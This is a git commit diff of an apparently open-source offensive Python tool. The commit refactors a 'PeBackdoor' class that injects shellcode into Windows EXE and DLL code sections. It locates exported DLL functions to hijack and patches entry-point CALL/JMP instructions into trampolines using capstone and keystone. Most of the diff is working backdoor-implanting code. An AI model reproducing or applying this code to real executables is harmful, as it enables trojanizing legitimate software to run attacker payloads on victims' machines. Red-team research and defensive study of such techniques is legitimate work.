refactor: better DLL support

This commit is contained in:
Dobin
2024-04-12 22:01:10 +01:00
parent c6a0cf14b0
commit a95203e2b5
6 changed files with 124 additions and 164 deletions
+50 -138
View File
@@ -27,173 +27,85 @@ class PeBackdoor:
# Working
self.shellcodeOffset: int = 0 # from start of the file
self.shellcodeOffsetRel: int = 0 # from start of the code section
self.shellcodeAddr: int = 0
self.backdoorOffsetRel: int = 0 # from start of the code section
def injectShellcode(self, dllfunc=""):
sect = self.superpe.get_code_section()
if sect == None:
logger.error('Could not find code section in input PE file!')
return False
sect_name = sect.Name.decode().rstrip('\x00')
sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData
logger.debug(f'Backdooring {sect_name} section.')
if sect_size < len(self.shellcodeData):
logger.critical(f'''Input shellcode is too large to fit into target PE executable code section!
Shellcode size : {len(self.shellcodeData)}
Code section size : {sect_size}
''')
if self.superpe.is_dll():
offset = self.getExportEntryPoint(dllfunc)
logger.info("--[ Inserting shellcode into DLL at offset 0x{:X} (in {})".format(
offset, sect_name
))
else:
offset = int((sect_size - len(self.shellcodeData)) / 2)
logger.info("--[ Inserting shellcode into EXE at offset 0x{:X} (in {})".format(
offset, sect_name
))
self.superpe.pe.set_bytes_at_offset(offset, self.shellcodeData)
self.shellcodeOffset = offset
self.shellcodeOffsetRel = offset - sect.PointerToRawData
rva = self.superpe.pe.get_rva_from_offset(offset)
p = sect.PointerToRawData + sect.SizeOfRawData - 64
graph = textwrap.indent(f'''
Beginning of {sect_name}:
{textwrap.indent(hexdump(self.superpe.pe.get_data(sect.VirtualAddress), sect.VirtualAddress, 64), "0")}
Injected shellcode in the middle of {sect_name}:
{hexdump(self.shellcodeData, offset, 64)}
Trailing {sect_name} bytes:
{hexdump(self.superpe.pe.get_data(self.superpe.pe.get_rva_from_offset(p)), p, 64)}
''', '\t')
logger.info(f'---[ Shellcode injected into existing code section at RVA 0x{rva:X}')
logger.debug(graph)
return True
def setupShellcodeEntryPoint(self):
if self.carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
rva = self.superpe.pe.get_rva_from_offset(self.shellcodeOffset)
self.superpe.set_entrypoint(rva)
logger.info(f'Address Of Entry Point changed to: RVA 0x{rva:X}')
return True
elif self.carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
return self.backdoorEntryPoint()
#elif self.carrier_invoke_style == int(PeBackdoor.Supportedcarrier_invoke_styles.HijackExport):
# addr = self.getExportEntryPoint()
# if addr == -1:
# logger.critical('Could not find any export entry point to hijack! Specify existing DLL Exported function with -e/--export!')
#
# return self.backdoorEntryPoint(addr)
return False
def getExportEntryPoint(self, exportName):
def getExportEntryPoint(self, exportName: str):
dec = lambda x: '???' if x is None else x.decode()
if len(exportName) == 0:
raise Exception('Export name not specified! Specify DLL Exported function name to hijack')
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
self.superpe.pe.parse_data_directories(directories=d)
if self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
logger.error('No DLL exports found! Specify existing DLL Exported function')
return -1
raise Exception('No DLL exports found!')
exports = [(e.ordinal, dec(e.name)) for e in self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols]
chosen_export = None
for export in exports:
logger.debug(f'DLL Export: {export[0]} {export[1]}')
#logger.debug(f'DLL Export: {export[0]} {export[1]}')
if export[1].lower() == exportName.lower():
addr = self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols[export[0]].address
logger.info(f'Found DLL Export "{exportName}" at RVA 0x{addr:X} . Attempting to hijack it...')
return addr
return -1
def getRandomExport(self, choose_random=False):
dec = lambda x: '???' if x is None else x.decode()
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
self.superpe.pe.parse_data_directories(directories=d)
if self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols == 0:
raise Exception('No DLL exports found! Specify existing DLL Exported function')
exports = [(e.ordinal, dec(e.name)) for e in self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols]
export = exports[0]
if choose_random:
export = exports[0]
name = export[1]
addr = self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols[export[0]].address
chosen_export = export
break
#export = exports[0]
#if choose_random:
# export = exports[0]
logger.info("Export: {} {}".format(chosen_export[0], chosen_export[1]))
name = chosen_export[1]
#addr = self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols[export[0]].address
for exp in self.superpe.pe.DIRECTORY_ENTRY_EXPORT.symbols:
#logger.info("-- {} {}".format(hex(exp.address), exp.name.decode()))
if exp.name.decode() == name:
#print(hex(exp.address), exp.name.decode())
addr = exp.address
logger.info(f'Using DLL Export "{name}" at RVA 0x{addr:X} . Attempting to hijack it...')
return name
return addr
def backdoorEntryPoint(self, addr = -1):
imageBase = self.superpe.pe.OPTIONAL_HEADER.ImageBase
self.shellcodeAddr = self.superpe.pe.get_rva_from_offset(self.shellcodeOffset) + imageBase
cs = None
ks = None
if self.superpe.arch == 'x86':
cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_32 + capstone.CS_MODE_LITTLE_ENDIAN)
ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_32 + keystone.KS_MODE_LITTLE_ENDIAN)
else:
cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64 + capstone.CS_MODE_LITTLE_ENDIAN)
ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64 + keystone.KS_MODE_LITTLE_ENDIAN)
def backdoor_function(self, function_addr, shellcode_addr):
#imageBase = self.superpe.pe.OPTIONAL_HEADER.ImageBase
#self.shellcodeAddr = self.superpe.pe.get_rva_from_offset(self.shellcodeOffset) + imageBase
cs = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64 + capstone.CS_MODE_LITTLE_ENDIAN)
ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64 + keystone.KS_MODE_LITTLE_ENDIAN)
cs.detail = True
ep = addr
#if addr == -1:
# ep = self.superpe.get_entrypoint()
# logger.info("--[ BackdoorEntryPoint(): Use Entry Point 0x{:X}".format(ep))
#else:
# ep = addr
# logger.info("--[ BackdoorEntryPoint(): Use Addr 0x{:X}".format(ep))
if addr == -1:
ep = self.superpe.pe.OPTIONAL_HEADER.AddressOfEntryPoint
ep_ava = ep + self.superpe.pe.OPTIONAL_HEADER.ImageBase
data = self.superpe.pe.get_memory_mapped_image()[ep:ep+128]
offset = 0
logger.debug('Entry Point disasm:')
#ep_ava = ep + self.superpe.pe.OPTIONAL_HEADER.ImageBase
#data = self.superpe.pe.get_memory_mapped_image()[ep:ep+128]
#offset = 0
#logger.debug('Entry Point disasm:')
disasmData = self.superpe.pe.get_memory_mapped_image()
output = self.superpe.disasmBytes(cs, ks, disasmData, ep, 128, self.backdoorInstruction)
output = self.superpe.disasmBytes(cs, ks, disasmData, function_addr, 128, self.backdoorInstruction)
# store offset... by calculating it first FUCK
section = self.superpe.get_code_section()
self.backdoorOffsetRel = output - section.VirtualAddress
if output != 0:
logger.debug('Now disasm looks like follows: ')
if False:
if output != 0:
logger.debug('Now disasm looks like follows: ')
disasmData = self.superpe.pe.get_memory_mapped_image()
self.superpe.disasmBytes(cs, ks, disasmData, output - 32, 32, None, maxDepth = 3)
disasmData = self.superpe.pe.get_memory_mapped_image()
self.superpe.disasmBytes(cs, ks, disasmData, output - 32, 32, None, maxDepth = 3)
logger.debug('\n[>] Inserted backdoor code: ')
for instr in cs.disasm(bytes(self.compiledTrampoline), output):
self.superpe.printInstr(instr, 1)
logger.debug('\n[>] Inserted backdoor code: ')
for instr in cs.disasm(bytes(self.compiledTrampoline), output):
self.superpe.printInstr(instr, 1)
logger.debug('')
self.superpe.disasmBytes(cs, ks, disasmData, output + len(self.compiledTrampoline), 32, None, maxDepth = 3)
logger.debug('')
self.superpe.disasmBytes(cs, ks, disasmData, output + len(self.compiledTrampoline), 32, None, maxDepth = 3)
else:
logger.error('Did not find suitable candidate for Entry Point branch hijack!')
else:
logger.error('Did not find suitable candidate for Entry Point branch hijack!')
return output
@@ -222,7 +134,7 @@ Trailing {sect_name} bytes:
found |= instr.mnemonic.lower() == 'call'
if found:
logger.info(f'--[ Backdooring entry point {instr.mnemonic.upper()} instruction at RVA 0x{instr.address:X} into:')
logger.info(f'---[ Backdooring entry point {instr.mnemonic.upper()} instruction at RVA 0x{instr.address:X} into:')
jump = random.choice([
f'CALL {reg}',
+1 -1
View File
@@ -237,7 +237,7 @@ class SuperPe():
## Helpers
def get_entyrpoint(self) -> int:
def get_entrypoint(self) -> int:
return self.pe.OPTIONAL_HEADER.AddressOfEntryPoint
def set_entrypoint(self, entrypoint: int):